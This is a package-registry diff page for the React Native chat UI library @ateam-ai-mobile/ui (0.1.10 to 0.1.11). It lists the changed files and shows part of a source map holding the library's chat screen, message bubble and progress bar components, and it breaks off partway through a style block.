@ateam-ai-mobile/ui 0.1.10 → 0.1.11
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/index.d.mts +8 -1
- package/dist/index.d.ts +8 -1
- package/dist/index.js +25 -0
- package/dist/index.js.map +1 -1
- package/dist/index.mjs +24 -0
- package/dist/index.mjs.map +1 -1
- package/package.json +3 -3
- package/src/index.ts +2 -0
- package/src/providers.ts +22 -0
- package/src/voice/voiceSession.ts +22 -0
package/dist/index.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"sources":["../src/index.ts","../src/AdasChatScreen.tsx","../src/chat/MessageBubble.tsx","../src/chat/JobProgressBar.tsx","../src/chat/UIActionsRow.tsx","../src/providers.ts","../src/plugin/WidgetHost.tsx","../src/plugin/PluginSurface.tsx","../src/plugin/Plugin.tsx","../src/plugin/EmbeddedPluginWebView.tsx","../src/plugin/usePluginBridge.ts","../src/chat/QuestionChips.tsx","../src/chat/TableCardBlock.tsx","../src/stores/lightboxStore.ts","../src/chat/TypingIndicator.tsx","../src/chat/ChatInput.tsx","../src/Lightbox.tsx","../src/widgets/WidgetWebView.tsx","../src/TenantPicker.tsx","../src/WorkspaceBanner.tsx","../src/auth/HandoffScreen.tsx","../src/auth/handoffExchange.ts","../src/auth/OpenJoinScreen.tsx","../src/auth/openJoin.ts","../src/auth/JoinScreen.tsx","../src/auth/inviteJoin.ts","../src/auth/LoginScreen.tsx","../src/auth/login.ts","../src/voice/VoiceCallSheet.tsx","../src/voice/useVoiceCall.ts","../src/voice/voiceSession.ts","../src/voice/VoiceSessionHost.tsx","../src/voice/VoiceMicIndicator.tsx"],"sourcesContent":["/**\n * @ateam-ai-mobile/ui — prebuilt ADAS experience for React Native hosts.\n *\n * Built ONLY on public @ateam-ai-mobile/core + @ateam-ai-mobile/plugin-runtime APIs. Drop in\n * <AdasChatScreen /> for the full chat, or compose the pieces yourself.\n */\n\n// The drop-in experience\nexport { default as AdasChatScreen } from './AdasChatScreen';\nexport type { AdasChatScreenProps } from './AdasChatScreen';\n\n// Chat pieces (for custom layouts)\nexport { default as MessageBubble, DaySeparator } from './chat/MessageBubble';\nexport { default as ChatInput } from './chat/ChatInput';\nexport { default as TypingIndicator } from './chat/TypingIndicator';\nexport { default as JobProgressBar } from './chat/JobProgressBar';\nexport { default as TableCardBlock } from './chat/TableCardBlock';\nexport { default as UIActionsRow } from './chat/UIActionsRow';\n\n// Plugin rendering (native bundles + iframe fallback + surface wrapper)\nexport { default as Plugin } from './plugin/Plugin';\nexport { default as PluginSurface } from './plugin/PluginSurface';\n// Zero-config widget presenter: chips + agent focus-plugin → open widgets.\n// AdasChatScreen mounts one automatically; custom layouts render <WidgetHost/>\n// once near the root and/or call openWidget(pluginId, props) imperatively.\nexport { default as WidgetHost, openWidget, useWidgetHostStore } from './plugin/WidgetHost';\nexport { default as EmbeddedPluginWebView } from './plugin/EmbeddedPluginWebView';\nexport { usePluginBridge, buildPluginBridgeJS } from './plugin/usePluginBridge';\n\n// Widgets\nexport { default as WidgetWebView } from './widgets/WidgetWebView';\n\n// Team switcher (optional — single-tenant hosts never render it)\nexport { default as TenantPicker } from './TenantPicker';\nexport type { TenantPickerProps } from './TenantPicker';\n\n// Image lightbox\nexport { default as Lightbox } from './Lightbox';\nexport { useLightboxStore } from './stores/lightboxStore';\n\n// Workspace subscription banner (server-authored message; GET /api/session)\nexport { default as WorkspaceBanner } from './WorkspaceBanner';\nexport type { WorkspaceBannerProps } from './WorkspaceBanner';\n\n// Auth screens (R9B) — generic pre-auth presentation; the host injects native\n// OAuth (via setOAuthProvider), the session/tenant callbacks, and wraps them in\n// its own SafeAreaView + router phase. The native id_token acquisition never\n// enters this package.\nexport { default as HandoffScreen } from './auth/HandoffScreen';\nexport type { HandoffScreenProps } from './auth/HandoffScreen';\nexport { runHandoffExchange, handoffErrorMessage } from './auth/handoffExchange';\nexport type { HandoffExchangeDeps } from './auth/handoffExchange';\nexport { default as OpenJoinScreen } from './auth/OpenJoinScreen';\nexport type { OpenJoinScreenProps } from './auth/OpenJoinScreen';\nexport { completeOpenJoin, openJoinErrorMessage } from './auth/openJoin';\nexport type { OpenJoinDeps } from './auth/openJoin';\nexport { default as JoinScreen } from './auth/JoinScreen';\nexport type { JoinScreenProps } from './auth/JoinScreen';\nexport { completeInviteJoin, inviteHeadline } from './auth/inviteJoin';\nexport type { InviteJoinDeps } from './auth/inviteJoin';\nexport { default as LoginScreen } from './auth/LoginScreen';\nexport type { LoginScreenProps } from './auth/LoginScreen';\nexport { googleClientIds, isConsumerDisabled, completeProviderSignIn } from './auth/login';\nexport type { ProviderSignInDeps } from './auth/login';\n\n// Voice (requires `voiceUrl` in the initAdas() config)\nexport { default as VoiceCallSheet } from './voice/VoiceCallSheet';\nexport { default as useVoiceCall } from './voice/useVoiceCall';\nexport type { TranscriptEntry, CallState } from './voice/useVoiceCall';\n// The headless session + its app-root mounts. VoiceSessionHost keeps the loop\n// alive independent of any screen; VoiceMicIndicator is the platform-owned mic\n// evidence; `voiceSession` is the VoiceAPI provider handed to setVoiceProvider.\nexport { default as VoiceSessionHost } from './voice/VoiceSessionHost';\nexport { default as VoiceMicIndicator } from './voice/VoiceMicIndicator';\nexport { voiceSession } from './voice/voiceSession';\n\n// Host integration\nexport {\n setClipboardProvider,\n setUIActionNavigator,\n setPluginWebViewExtraHosts,\n setOAuthProvider,\n} from './providers';\nexport type {\n ClipboardProvider,\n UIActionRoute,\n OAuthProvider,\n OAuthGoogleConfig,\n} from './providers';\n","/**\n * AdasChatScreen — the drop-in ADAS chat experience.\n *\n * Push it as a screen or mount it full-flex anywhere: message history with\n * live agent progress, day separators, UI-action chips, table cards,\n * attachment previews, pull-to-refresh, and the composer. Built ONLY on the\n * public @ateam-ai-mobile/core + @ateam-ai-mobile/plugin-runtime APIs.\n *\n * The host must call initAdas() first, and typically:\n * setUIActionNavigator(route => router.push(...)) // chips → plugin screen\n * setupExpoProviders() // Expo hosts\n *\n * Also mount <SurfaceDispatcher /> once at the app root so engine-summoned\n * plugin surfaces (drawers/fullscreens) can appear over the chat.\n */\nimport { useCallback, useEffect, useMemo, useRef, useState } from 'react';\nimport {\n FlatList,\n KeyboardAvoidingView,\n Platform,\n RefreshControl,\n StyleSheet,\n View,\n} from 'react-native';\nimport { ada, useChatStore, pluginCommandEmitter } from '@ateam-ai-mobile/core';\nimport type { Message } from '@ateam-ai-mobile/core';\nimport MessageBubble, { DaySeparator } from './chat/MessageBubble';\nimport TypingIndicator from './chat/TypingIndicator';\nimport ChatInput from './chat/ChatInput';\nimport Lightbox from './Lightbox';\nimport WidgetHost from './plugin/WidgetHost';\n\nexport interface AdasChatScreenProps {\n /** Called when the user taps the call button; omit to hide it. */\n onCallStart?: () => void;\n /** Composer placeholder. */\n placeholder?: string;\n /** Extra element rendered above the composer (e.g. suggestion chips). */\n footerAccessory?: React.ReactNode;\n /** Mount the fullscreen image viewer here. Default true — set false if\n * the host already mounts <Lightbox /> at its root. */\n withLightbox?: boolean;\n}\n\nfunction isSameDay(a: Date, b: Date): boolean {\n return a.getFullYear() === b.getFullYear() && a.getMonth() === b.getMonth() && a.getDate() === b.getDate();\n}\n\nexport default function AdasChatScreen({\n onCallStart,\n placeholder,\n footerAccessory,\n withLightbox = true,\n}: AdasChatScreenProps) {\n const messages = useChatStore(s => s.messages);\n const loading = useChatStore(s => s.loading);\n const conversationLoaded = useChatStore(s => s.conversationLoaded);\n const loadConversation = useChatStore(s => s.loadConversation);\n const sendMessage = useChatStore(s => s.sendMessage);\n\n const listRef = useRef<FlatList<Message>>(null);\n const [refreshing, setRefreshing] = useState(false);\n const [prefill, setPrefill] = useState('');\n\n // Initial history load.\n useEffect(() => {\n if (!conversationLoaded) loadConversation();\n }, [conversationLoaded, loadConversation]);\n\n // bridge.prepareMessage(text) → pre-fill the composer without sending.\n useEffect(() => {\n const unsub = pluginCommandEmitter.on('prepare-chat-message', ({ text }: { text?: string }) => {\n if (text) setPrefill(text);\n });\n return unsub;\n }, []);\n\n // Inverted list — newest at the bottom without scroll management. On WEB\n // `inverted` is a scaleY(-1) transform that react-native-web applies to the\n // container but not reliably to items — content renders upside-down. Use a\n // normal list there and scroll to the end instead.\n const useInverted = Platform.OS !== 'web';\n const listData = useMemo(\n () => (useInverted ? [...messages].reverse() : messages),\n [messages, useInverted],\n );\n\n const scrollToLatest = useCallback((animated: boolean) => {\n if (useInverted) listRef.current?.scrollToOffset({ offset: 0, animated });\n else listRef.current?.scrollToEnd({ animated });\n }, [useInverted]);\n\n const handleSend = useCallback((text: string) => {\n setPrefill('');\n sendMessage(text);\n scrollToLatest(true);\n }, [sendMessage, scrollToLatest]);\n\n const handleRefresh = useCallback(async () => {\n setRefreshing(true);\n try { await loadConversation(); } catch {}\n setRefreshing(false);\n }, [loadConversation]);\n\n const renderItem = useCallback(({ item, index }: { item: Message; index: number }) => {\n // The \"previous\" (older) message is the NEXT array item when inverted,\n // the previous one otherwise.\n const older = useInverted ? listData[index + 1] : listData[index - 1];\n const showDaySep = !older || !isSameDay(older.timestamp, item.timestamp);\n return (\n <View>\n {showDaySep && <DaySeparator date={item.timestamp} />}\n <MessageBubble message={item} />\n </View>\n );\n }, [listData, useInverted]);\n\n const typingIndicator =\n loading && !(useInverted ? listData[0] : listData[listData.length - 1])?.jobProgress\n ? <TypingIndicator />\n : null;\n\n return (\n <KeyboardAvoidingView\n style={styles.root}\n behavior={Platform.OS === 'ios' ? 'padding' : undefined}\n >\n <FlatList\n ref={listRef}\n style={styles.list}\n data={listData}\n inverted={useInverted}\n keyExtractor={m => m.id}\n renderItem={renderItem}\n // In an inverted list the header renders at the visual BOTTOM — where\n // the typing indicator belongs; on web (non-inverted) it's the footer.\n // Suppressed when the newest bubble already shows its progress pill.\n ListHeaderComponent={useInverted ? typingIndicator : null}\n ListFooterComponent={useInverted ? null : typingIndicator}\n onContentSizeChange={useInverted ? undefined : () => scrollToLatest(false)}\n refreshControl={\n <RefreshControl refreshing={refreshing} onRefresh={handleRefresh} tintColor={ada.orange} />\n }\n keyboardShouldPersistTaps=\"handled\"\n contentContainerStyle={styles.listContent}\n />\n {footerAccessory}\n <ChatInput\n onSend={handleSend}\n onCallStart={onCallStart}\n loading={loading}\n prefill={prefill}\n placeholder={placeholder}\n />\n {withLightbox && <Lightbox />}\n {/* Built-in widget presenter: chips without a host navigator and\n agent-driven focus-plugin events open widgets here — zero wiring. */}\n <WidgetHost />\n </KeyboardAvoidingView>\n );\n}\n\nconst styles = StyleSheet.create({\n root: {\n flex: 1,\n backgroundColor: ada.paper,\n },\n list: {\n flex: 1,\n },\n listContent: {\n paddingVertical: 12,\n },\n});\n","import { useState, useCallback } from 'react';\nimport { View, Text, Pressable, StyleSheet, Image, Platform } from 'react-native';\nimport Markdown from 'react-native-markdown-display';\nimport type { Message, ToolCall } from '@ateam-ai-mobile/core';\nimport { TABLE_BLOCK_OPEN, TABLE_BLOCK_CLOSE, getConfig, ada, borderRadius, fontSize } from '@ateam-ai-mobile/core';\nimport { AdaOrb, getHaptics } from '@ateam-ai-mobile/plugin-runtime';\nimport JobProgressBar from './JobProgressBar';\nimport UIActionsRow from './UIActionsRow';\nimport QuestionChips from './QuestionChips';\nimport TableCardBlock from './TableCardBlock';\nimport { useLightboxStore } from '../stores/lightboxStore';\nimport { getClipboard } from '../providers';\n\nconst fontFam = Platform.OS === 'ios' ? 'SF Pro Rounded' : undefined;\n\ninterface Props {\n message: Message;\n}\n\nfunction formatTime(date: Date): string {\n const h = date.getHours();\n const m = date.getMinutes().toString().padStart(2, '0');\n return `${h}:${m}`;\n}\n\nexport function DaySeparator({ date }: { date: Date }) {\n const today = new Date();\n const yesterday = new Date(today);\n yesterday.setDate(yesterday.getDate() - 1);\n\n let label: string;\n if (isSameDay(date, today)) {\n label = 'Today';\n } else if (isSameDay(date, yesterday)) {\n label = 'Yesterday';\n } else {\n label = date.toLocaleDateString(undefined, { weekday: 'long', month: 'short', day: 'numeric' });\n }\n\n return (\n <View style={separatorStyles.container}>\n <View style={separatorStyles.pill}>\n <Text style={separatorStyles.text}>{label}</Text>\n </View>\n </View>\n );\n}\n\nfunction isSameDay(a: Date, b: Date): boolean {\n return a.getFullYear() === b.getFullYear() && a.getMonth() === b.getMonth() && a.getDate() === b.getDate();\n}\n\nconst separatorStyles = StyleSheet.create({\n container: {\n alignItems: 'center',\n marginVertical: 14,\n },\n pill: {\n backgroundColor: ada.paperSoft,\n paddingHorizontal: 14,\n paddingVertical: 5,\n borderRadius: 999,\n },\n text: {\n fontSize: 12,\n fontWeight: '600',\n color: ada.inkMuted,\n letterSpacing: 0.4,\n fontFamily: fontFam,\n },\n});\n\nexport default function MessageBubble({ message }: Props) {\n const isUser = message.role === 'user';\n const isSystem = message.role === 'system';\n const isNotification = !isUser && message.kind === 'notification';\n // A \"working on it\" placeholder — just the live chain indicator, no real\n // answer yet. Render it near-transparent so it floats over the background\n // instead of looking like a solid message bubble.\n const st = message.jobProgress?.status;\n // A turn that asked a question with choices (sys.askUser). We take the clean\n // question string from here and render its options as chips — never the raw\n // JSON payload. Not a \"pending\" mode: answering just sends a normal message.\n const pq = !isUser ? message.jobProgress?.pendingQuestion : undefined;\n const isProgressOnly =\n !isUser &&\n (st === 'running' || st === 'paused') &&\n (!message.content?.trim() || message.content === 'Working on it...');\n const [copied, setCopied] = useState('');\n\n const showCopied = useCallback((label: string) => {\n setCopied(label);\n getHaptics()?.notification('success');\n setTimeout(() => setCopied(''), 1500);\n }, []);\n\n const copyText = useCallback(async (text: string) => {\n const clipboard = getClipboard();\n if (!clipboard) return; // no provider — silently skip (no false \"Copied!\")\n await clipboard.setString(text);\n showCopied('Copied!');\n }, [showCopied]);\n\n const handleLongPress = useCallback(() => {\n copyText(message.content);\n }, [message.content, copyText]);\n\n return (\n <View style={[styles.row, isUser && styles.rowUser]}>\n {!isUser && !isNotification && (\n <View style={styles.avatarOrb}>\n <AdaOrb\n size={28}\n state={message.jobProgress?.status === 'running' ? 'thinking' : 'idle'}\n />\n </View>\n )}\n {isNotification && <View style={styles.notificationLeftStripe} />}\n <Pressable\n accessibilityRole=\"text\"\n accessibilityLabel={`${isUser ? 'You' : isNotification ? 'Notification' : 'Ada'}: ${message.content}`}\n accessibilityHint=\"Long-press to copy\"\n onLongPress={handleLongPress}\n style={[\n styles.bubble,\n isUser && styles.bubbleUser,\n isSystem && styles.bubbleSystem,\n isNotification && styles.bubbleNotification,\n isProgressOnly && styles.bubbleProgress,\n ]}\n >\n {isNotification && (\n <View style={styles.notificationHeader}>\n <Text style={styles.notificationHeaderIcon}>🔔</Text>\n <Text style={styles.notificationHeaderText}>Notification</Text>\n </View>\n )}\n {/* Attachment thumbnails */}\n {message.attachments && message.attachments.length > 0 && (\n <View style={styles.attachments}>\n {message.attachments.map((att, i) => (\n att.previewUri ? (\n <Pressable\n key={i}\n accessibilityRole=\"imagebutton\"\n accessibilityLabel={`Photo${att.name ? `: ${att.name}` : ''}. Tap to enlarge.`}\n onPress={() => useLightboxStore.getState().show(att.previewUri!)}\n >\n <Image\n source={{\n uri: att.previewUri,\n ...(att.previewUri.startsWith('http') ? {\n headers: { Authorization: `Bearer ${getConfig().tokenProvider.getToken()}` },\n } : {}),\n }}\n style={styles.attachmentImage}\n resizeMode=\"cover\"\n onError={(e) => console.warn('[Image] Failed to load:', att.previewUri?.slice(0, 100), e.nativeEvent.error)}\n />\n </Pressable>\n ) : (\n <View key={i} style={styles.attachmentFile}>\n <Text style={styles.attachmentFileName} numberOfLines={1}>{att.name}</Text>\n </View>\n )\n ))}\n </View>\n )}\n {isUser ? (\n // Hide the \"See attachment\" placeholder when the bubble already shows the photo.\n message.content && !(message.content === 'See attachment' && message.attachments?.length) ? (\n <Text selectable style={styles.userText}>{message.content}</Text>\n ) : null\n ) : isProgressOnly ? (\n // No \"Working on it…\" text — the indicator below is the whole message.\n null\n ) : (\n // When the turn asked a question, show its clean question string —\n // never message.content, which may carry the raw JSON payload.\n renderAssistantContent(pq?.question || message.content, copyText)\n )}\n {!!copied && (\n <View style={styles.copiedBadge}>\n <Text style={styles.copiedText}>{copied}</Text>\n </View>\n )}\n {message.toolCalls && message.toolCalls.length > 0 && (\n <ToolCallsBadge calls={message.toolCalls} />\n )}\n {message.jobProgress && (\n <JobProgressBar progress={message.jobProgress} standalone={isProgressOnly} />\n )}\n {!isUser && message.actions && message.actions.length > 0 && (\n <UIActionsRow actions={message.actions} />\n )}\n {pq && (\n // Per-chain: this bubble's OWN chain has a pending question. Parallel\n // pending chains each render their own chips (jobProgress is per\n // bubble); answered questions have no jobProgress → no chips.\n <QuestionChips inputType={pq.inputType} options={pq.options} />\n )}\n {!isProgressOnly && (\n <Text style={[styles.timeText, isUser && styles.timeTextUser]}>\n {formatTime(message.timestamp)}\n </Text>\n )}\n </Pressable>\n {isUser && <View style={styles.avatarSpacer} />}\n </View>\n );\n}\n\n/**\n * Split assistant content on table-block sentinels and render each segment:\n * markdown text → <Markdown>, table payload → <TableCardBlock>. Falls back\n * to plain markdown when no sentinels are present (the common case).\n */\nfunction renderAssistantContent(content: string, copyText: (s: string) => void) {\n if (!content) return null;\n if (!content.includes(TABLE_BLOCK_OPEN)) {\n return <MarkdownBubble content={content} copyText={copyText} />;\n }\n\n const segments: Array<{ kind: 'md' | 'table'; content: string }> = [];\n let cursor = 0;\n while (cursor < content.length) {\n const open = content.indexOf(TABLE_BLOCK_OPEN, cursor);\n if (open === -1) {\n segments.push({ kind: 'md', content: content.slice(cursor) });\n break;\n }\n if (open > cursor) {\n segments.push({ kind: 'md', content: content.slice(cursor, open) });\n }\n const close = content.indexOf(TABLE_BLOCK_CLOSE, open + TABLE_BLOCK_OPEN.length);\n if (close === -1) {\n // Unterminated marker — render the rest as markdown so we don't lose data.\n segments.push({ kind: 'md', content: content.slice(open) });\n break;\n }\n const payload = content.slice(open + TABLE_BLOCK_OPEN.length, close);\n segments.push({ kind: 'table', content: payload });\n cursor = close + TABLE_BLOCK_CLOSE.length;\n }\n\n return (\n <>\n {segments.map((seg, i) => {\n if (seg.kind === 'md') {\n const trimmed = seg.content.trim();\n if (!trimmed) return null;\n return <MarkdownBubble key={i} content={seg.content} copyText={copyText} />;\n }\n try {\n const data = JSON.parse(decodeURIComponent(seg.content));\n return <TableCardBlock key={i} columns={data.columns} rows={data.rows} />;\n } catch {\n return null;\n }\n })}\n </>\n );\n}\n\nfunction MarkdownBubble({ content, copyText }: { content: string; copyText: (s: string) => void }) {\n return (\n <Markdown\n style={markdownStyles}\n rules={{\n code_inline: (node) => (\n <Text\n key={node.key}\n style={markdownStyles.code_inline}\n onPress={() => copyText(node.content)}\n >\n {node.content}\n </Text>\n ),\n fence: (node) => (\n <Pressable\n key={node.key}\n onPress={() => copyText(node.content)}\n style={markdownStyles.fence}\n >\n <Text style={markdownStyles.fenceText}>{node.content}</Text>\n </Pressable>\n ),\n }}\n >\n {content}\n </Markdown>\n );\n}\n\nfunction ToolCallsBadge({ calls }: { calls: ToolCall[] }) {\n const [expanded, setExpanded] = useState(false);\n const label = calls\n .filter(c => c.name === 'send_message_to_skill')\n .map(c => (c.args as any).skill_name || c.skill)\n .filter(Boolean)\n .join(', ') || 'Tool call';\n\n return (\n <View style={styles.toolCalls}>\n <Pressable style={styles.toolToggle} onPress={() => setExpanded(!expanded)}>\n <Text style={styles.toolLabel}>{label}</Text>\n <Text style={styles.toolChevron}>{expanded ? '▲' : '▼'}</Text>\n </Pressable>\n {expanded && calls.map((tc, i) => (\n <View key={i} style={styles.toolItem}>\n <Text style={styles.toolName}>{tc.name}</Text>\n {tc.skill && <Text style={styles.toolSkill}>{tc.skill}</Text>}\n </View>\n ))}\n </View>\n );\n}\n\nconst styles = StyleSheet.create({\n row: {\n flexDirection: 'row',\n alignItems: 'flex-end',\n marginBottom: 12,\n paddingHorizontal: 12,\n gap: 8,\n },\n rowUser: {\n justifyContent: 'flex-end',\n },\n avatarOrb: {\n width: 28,\n height: 28,\n justifyContent: 'center',\n alignItems: 'center',\n },\n avatarSpacer: {\n width: 28,\n height: 28,\n },\n bubble: {\n maxWidth: '78%',\n backgroundColor: ada.botBubble,\n borderWidth: 1,\n borderColor: ada.botBubbleBorder,\n borderRadius: borderRadius.xl,\n paddingHorizontal: 16,\n paddingVertical: 12,\n },\n bubbleUser: {\n backgroundColor: ada.userBubble,\n borderColor: 'transparent',\n },\n // Live-chain placeholder: no fill, no border, tighter padding — the\n // indicator floats over the background instead of sitting in a bubble.\n bubbleProgress: {\n backgroundColor: 'transparent',\n borderColor: 'transparent',\n paddingHorizontal: 4,\n paddingVertical: 2,\n },\n bubbleSystem: {\n backgroundColor: ada.orangeSoft,\n borderColor: ada.orange,\n maxWidth: '90%',\n },\n bubbleNotification: {\n backgroundColor: ada.orangeSoft,\n borderColor: 'rgba(255, 122, 40, 0.35)',\n borderRadius: borderRadius.lg,\n maxWidth: '90%',\n },\n notificationLeftStripe: {\n width: 3,\n alignSelf: 'stretch',\n backgroundColor: ada.orange,\n borderRadius: 2,\n marginRight: 4,\n },\n notificationHeader: {\n flexDirection: 'row',\n alignItems: 'center',\n gap: 6,\n marginBottom: 6,\n },\n notificationHeaderIcon: {\n fontSize: 12,\n },\n notificationHeaderText: {\n color: ada.orangeDeep,\n fontSize: 11,\n fontWeight: '700',\n letterSpacing: 0.6,\n textTransform: 'uppercase',\n fontFamily: fontFam,\n },\n userText: {\n color: ada.userBubbleText,\n fontSize: fontSize.md,\n lineHeight: 22,\n fontFamily: fontFam,\n },\n timeText: {\n fontSize: 11,\n color: ada.inkMuted,\n alignSelf: 'flex-end',\n marginTop: 4,\n fontFamily: fontFam,\n },\n timeTextUser: {\n color: 'rgba(250,246,238,0.55)',\n },\n attachments: {\n flexDirection: 'row',\n flexWrap: 'wrap',\n gap: 6,\n marginBottom: 8,\n },\n attachmentImage: {\n width: 120,\n height: 90,\n borderRadius: 8,\n },\n attachmentFile: {\n backgroundColor: 'rgba(255,255,255,0.15)',\n borderRadius: 8,\n paddingHorizontal: 10,\n paddingVertical: 6,\n },\n attachmentFileName: {\n color: 'rgba(255,255,255,0.8)',\n fontSize: 11,\n maxWidth: 100,\n },\n copiedBadge: {\n position: 'absolute',\n top: 6,\n right: 6,\n backgroundColor: '#5A8A5C',\n paddingHorizontal: 8,\n paddingVertical: 2,\n borderRadius: borderRadius.sm,\n },\n copiedText: {\n color: '#fff',\n fontSize: fontSize.xs,\n fontWeight: '600',\n },\n toolCalls: {\n marginTop: 8,\n borderTopWidth: 1,\n borderTopColor: ada.border,\n paddingTop: 6,\n },\n toolToggle: {\n flexDirection: 'row',\n alignItems: 'center',\n gap: 6,\n },\n toolLabel: {\n color: ada.inkSoft,\n fontSize: fontSize.xs,\n fontWeight: '500',\n },\n toolChevron: {\n color: ada.inkMuted,\n fontSize: 8,\n },\n toolItem: {\n marginTop: 4,\n paddingLeft: 8,\n },\n toolName: {\n color: ada.inkSoft,\n fontSize: fontSize.xs,\n fontFamily: 'monospace',\n },\n toolSkill: {\n color: ada.orangeDeep,\n fontSize: fontSize.xs,\n },\n});\n\nconst markdownStyles = StyleSheet.create({\n body: {\n color: ada.botBubbleText,\n fontSize: fontSize.md,\n lineHeight: 22,\n fontFamily: fontFam,\n },\n paragraph: {\n marginTop: 0,\n marginBottom: 4,\n },\n strong: {\n fontWeight: '700',\n color: ada.botBubbleText,\n },\n em: {\n fontStyle: 'italic',\n },\n code_inline: {\n backgroundColor: ada.paperDeep,\n color: ada.orangeDeep,\n paddingHorizontal: 5,\n paddingVertical: 1,\n borderRadius: 4,\n fontFamily: 'monospace',\n fontSize: fontSize.sm,\n },\n fence: {\n backgroundColor: ada.paperDeep,\n padding: 10,\n borderRadius: 10,\n },\n fenceText: {\n fontFamily: 'monospace',\n fontSize: fontSize.sm,\n color: ada.ink,\n },\n link: {\n color: ada.orangeDeep,\n },\n list_item: {\n color: ada.botBubbleText,\n },\n bullet_list: {\n marginVertical: 4,\n },\n});\n","import { useEffect, useRef, useState } from 'react';\nimport { View, Text, Animated, StyleSheet } from 'react-native';\nimport type { JobProgress } from '@ateam-ai-mobile/core';\nimport { ada, fontSize } from '@ateam-ai-mobile/core';\n\n// Semantic warm-palette colors for terminal states (kept local — Ada palette\n// is mostly orange/ink, but progress states need a small warm green/red/amber\n// vocabulary to stay readable).\nconst WARM_GREEN = '#5A8A5C';\nconst WARM_GREEN_SOFT = 'rgba(90, 138, 92, 0.14)';\nconst WARM_RED = '#C15545';\nconst WARM_RED_SOFT = 'rgba(193, 85, 69, 0.14)';\nconst WARM_AMBER = '#D49A4E';\nconst WARM_AMBER_SOFT = 'rgba(212, 154, 78, 0.16)';\n\ninterface Props {\n progress: JobProgress;\n /** Standalone placeholder (transparent bubble) — drop the top divider so it\n * floats cleanly over the background. */\n standalone?: boolean;\n}\n\nexport default function JobProgressBar({ progress, standalone }: Props) {\n const pulseAnim = useRef(new Animated.Value(0.5)).current;\n const [elapsed, setElapsed] = useState(0);\n\n const isRunning = progress.status === 'running';\n const isDone = progress.status === 'done';\n const isError = progress.status === 'error';\n const isPaused = progress.status === 'paused';\n\n // Pulse animation while running\n useEffect(() => {\n if (!isRunning) {\n pulseAnim.setValue(1);\n return;\n }\n const anim = Animated.loop(\n Animated.sequence([\n // Gentle breath — a soft fade rather than a hard blink, so the running\n // indicator recedes into the bubble instead of demanding attention.\n Animated.timing(pulseAnim, { toValue: 0.55, duration: 1100, useNativeDriver: true }),\n Animated.timing(pulseAnim, { toValue: 0.22, duration: 1100, useNativeDriver: true }),\n ]),\n );\n anim.start();\n return () => anim.stop();\n }, [isRunning, pulseAnim]);\n\n // Elapsed timer — ticks every second while running, clears on terminal state\n useEffect(() => {\n if (!isRunning || !progress.chainStartedAt) {\n setElapsed(0);\n return;\n }\n const start = progress.chainStartedAt;\n setElapsed(Math.floor((Date.now() - start) / 1000));\n const id = setInterval(() => {\n setElapsed(Math.floor((Date.now() - start) / 1000));\n }, 1000);\n return () => clearInterval(id);\n }, [isRunning, progress.chainStartedAt]);\n\n const statusColor = isDone\n ? WARM_GREEN\n : isError\n ? WARM_RED\n : isPaused\n ? WARM_AMBER\n : ada.orange;\n\n const statusBg = isDone\n ? WARM_GREEN_SOFT\n : isError\n ? WARM_RED_SOFT\n : isPaused\n ? WARM_AMBER_SOFT\n : ada.orangeSoft;\n\n // Terminal states — simple one-liner\n if (isDone || isError) {\n return (\n <View style={[styles.container, standalone && styles.containerStandalone]}>\n <View style={styles.row}>\n <View style={[styles.dot, { backgroundColor: statusColor }]} />\n <Text style={[styles.label, { color: statusColor }]}>\n {isDone ? 'Completed' : 'Failed'}\n </Text>\n </View>\n </View>\n );\n }\n\n if (isPaused) {\n return (\n <View style={[styles.container, standalone && styles.containerStandalone]}>\n <View style={styles.row}>\n <View style={[styles.dot, { backgroundColor: statusColor }]} />\n <Text style={[styles.label, { color: statusColor }]}>\n Waiting for your reply\n </Text>\n </View>\n </View>\n );\n }\n\n // Running. Prefer the backend's warm, localized humanStatus; fall back to\n // the raw skill/tool tokens (translated via humanLabels when available).\n // Elapsed shows in human units: \"3s\", \"1m 20s\". (Docs/STATUS_I18N_MOBILE_API)\n const elapsedStr = progress.chainStartedAt\n ? elapsed < 60\n ? `${elapsed}s`\n : `${Math.floor(elapsed / 60)}m ${elapsed % 60}s`\n : null;\n\n const metaParts = [\n progress.iteration != null && progress.iteration > 0 ? `iter ${progress.iteration}` : null,\n elapsedStr,\n ].filter(Boolean) as string[];\n\n const labels = progress.humanLabels;\n const label = (t?: string) => (t && labels?.[t]) || t;\n const headline = progress.humanStatus || label(progress.skillSlug) || 'Processing...';\n // When we already have a warm headline, don't also show the raw \"→ tool\".\n const showRawTool = !progress.humanStatus && !!progress.currentTool;\n\n const lp = progress.liveProgress;\n\n return (\n <View style={[styles.container, standalone && styles.containerStandalone]}>\n <View style={styles.row}>\n <Animated.View\n style={[styles.dot, styles.dotRunning, { opacity: pulseAnim }]}\n />\n <Text style={styles.skill} numberOfLines={1}>\n {headline}\n </Text>\n {showRawTool && (\n <Text style={styles.tool} numberOfLines={1}>\n {` → ${label(progress.currentTool)}`}\n </Text>\n )}\n {metaParts.length > 0 && (\n <Text style={styles.meta} numberOfLines={1}>\n {` · ${metaParts.join(' · ')}`}\n </Text>\n )}\n </View>\n {/* Live progress from adas_emit_progress() — shown during fat tool execution */}\n {!!lp?.message && (\n <View style={styles.liveProgressRow}>\n {lp.step != null && lp.total != null && (\n <Text style={styles.liveProgressStep}>[{lp.step}/{lp.total}]</Text>\n )}\n <Text style={styles.liveProgressMsg} numberOfLines={1}>{lp.message}</Text>\n </View>\n )}\n <View style={styles.progressTrack}>\n <Animated.View\n style={[styles.progressFill, { opacity: pulseAnim }]}\n />\n </View>\n </View>\n );\n}\n\nconst styles = StyleSheet.create({\n container: {\n marginTop: 8,\n paddingTop: 8,\n borderTopWidth: 1,\n borderTopColor: ada.border,\n },\n // Standalone (transparent-bubble) placeholder — no divider/top spacing.\n containerStandalone: {\n marginTop: 0,\n paddingTop: 0,\n borderTopWidth: 0,\n },\n row: {\n flexDirection: 'row',\n alignItems: 'center',\n flexWrap: 'nowrap',\n overflow: 'hidden',\n },\n dot: {\n width: 6,\n height: 6,\n borderRadius: 3,\n marginRight: 6,\n flexShrink: 0,\n },\n // Running dot: soft orange, not the full-saturation accent.\n dotRunning: {\n backgroundColor: 'rgba(255, 122, 40, 0.6)',\n },\n label: {\n fontSize: fontSize.xs,\n fontWeight: '600',\n },\n // Running state text segments — muted so the indicator blends into the\n // bubble rather than shouting in orange.\n skill: {\n 